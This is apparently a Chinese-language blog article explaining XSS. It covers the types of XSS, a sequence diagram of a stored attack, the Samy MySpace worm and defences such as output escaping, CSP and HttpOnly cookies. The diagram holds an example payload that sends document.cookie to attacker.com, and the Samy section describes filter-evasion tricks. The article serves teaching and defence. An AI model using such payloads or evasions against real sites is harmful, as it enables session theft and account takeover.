Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

跨站腳本攻擊 (XSS)

| , 2 minutes reading.

1. 定義

跨站腳本攻擊 (Cross-Site Scripting, XSS) 是一種注入漏洞,當應用程式在未經過濾或轉義的情況下,將不受信任的數據包含在網頁中時就會發生。這允許攻擊者在受害者的瀏覽器中執行惡意腳本(通常是 JavaScript),且該腳本是在受影響網站的**源(Origin)**下運行的。

由於惡意腳本是由受信任的網域本身提供的,攻擊者藉此繞過了瀏覽器的同源政策 (Same-Origin Policy, SOP)

2. 技術原理

瀏覽器通過解析 DOM 中的 JavaScript 來實現交互。如果攻擊者能將 <script> 標籤或事件處理器(如 onload)注入到 DOM 中,瀏覽器將無法區分它是合法程式碼還是惡意程式碼。

主要分為三種類型:

  1. 反射型 XSS (Reflected XSS):有效負載通過請求(如 URL 參數)傳遞,並立即在響應中反射。通常需要受害者點擊惡意連結。
  2. 儲存型 XSS (Stored XSS):有效負載被保存到資料庫(如評論、個人資料),之後被發送給其他訪問該頁面的用戶。
  3. DOM 型 XSS (DOM-based XSS):漏洞存在於客戶端程式碼中,程式碼使用不安全的源(如 location.hash)來修改 DOM,而不經過伺服器。

3. 攻擊流程 (儲存型 XSS)

sequenceDiagram
    participant Attacker
    participant Server as Web 應用程式
    participant DB as 資料庫
    participant Victim

    Attacker->>Server: 1. 發送 POST /comment ("<script>fetch(attacker.com?c=document.cookie)</script>")
    Server->>DB: 2. 保存評論 (未經過濾)
    DB-->>Server: OK

    Note over Victim: 稍後...
    Victim->>Server: 3. 訪問 GET /comments
    Server->>DB: 獲取評論
    DB-->>Server: 返回包含攻擊負載的評論
    Server-->>Victim: 4. 返回包含惡意腳本的 HTML
    
    Victim->>Attacker: 5. 腳本執行 -> 發送 Session Cookie
    Note right of Victim: 帳號被接管

4. 真實案例:Samy 蠕蟲 (MySpace, 2005)

目標: MySpace 用戶個人資料。 漏洞類別: 儲存型 XSS。

Samy Kamkar 發現 MySpace 允許用戶使用 HTML 自定義個人資料,但過濾了諸如 <script> 之類的明顯標籤。

繞過方式:

  1. 過濾器規避: MySpace 封鎖了 href 屬性中的 “javascript”,但 Samy 發現瀏覽器會忽略換行符:java script
  2. CSS 注入: 他將負載注入到 CSS 的 background 屬性中:background:url('java script:...')
  3. 有效負載: 該腳本執行了兩個操作:
    • 將 “Samy” 添加為好友。
    • 編輯受害者的個人資料,以複製這段惡意程式碼本身(自我複製)。

影響: 在 20 小時內,超過 100 萬用戶 被感染。MySpace 不得不關停整個網站以清理資料庫。這被認為是史上傳播速度最快的病毒。

5. 深度防禦策略

A. 上下文感知輸出轉義 (Context-Aware Output Encoding)

轉義必須根據數據所處的位置進行針對性處理。

  • HTML 正文:&, <, >, ", ' 轉換為實體(如 &lt;)。
  • HTML 屬性: 必須使用帶引號的屬性,並對屬性值進行轉義。
  • JavaScript 變數: 使用 Unicode 轉義序列(如 \u003c)。
  • CSS/URL: 使用嚴格的 URL 編碼。
  • 工具: 使用自動上下文轉義引擎(如 React/Angular/Vue 的默認行為,或 OWASP Java Encoder 等庫)。

B. 內容安全政策 (Content Security Policy, CSP)

這是一種瀏覽器層面的防禦,用於限制可以載入資源的來源。

  • 禁用內聯腳本: 阻止 <script>...</script> 程式碼塊運行。

  • 設置允許來源: 僅允許來自 self 或受信任 CDN 的腳本。

  • 基於 Nonce 的 CSP: 為每次請求生成隨機 Nonce,只有帶有匹配 Nonce 屬性的腳本才能執行。

    Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic';

將會話 Cookie 標記為 HttpOnly

  • 這可以防止 JavaScript 通過 document.cookie 訪問 Cookie。
  • 雖然它不能阻止 XSS 本身(腳本仍可發起請求),但它能有效防止簡單的 Session 令牌竊取。

6. 參考資料